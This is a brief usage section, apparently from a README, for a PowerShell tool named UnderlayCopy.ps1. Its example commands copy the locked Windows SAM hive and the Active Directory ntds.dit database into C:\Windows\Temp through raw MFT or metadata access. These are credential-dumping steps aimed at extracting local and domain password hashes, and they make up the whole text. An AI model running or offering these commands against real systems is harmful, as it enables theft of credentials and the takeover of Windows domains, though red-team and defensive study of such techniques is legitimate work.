Example Usage
.\UnderlayCopy.ps1
   Underlay-Copy -Mode MFT -SourceFile C:\Windows\System32\config\SAM -DestinationFile C:\Windows\Temp\sam.dmp
   Underlay-Copy -Mode MFT -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile C:\Windows\Temp\ntds.dmp
   Underlay-Copy -Mode Metadata -SourceFile C:\Windows\NTDS\ntds.dit -DestinationFile C:\Windows\Temp\ntds.dmp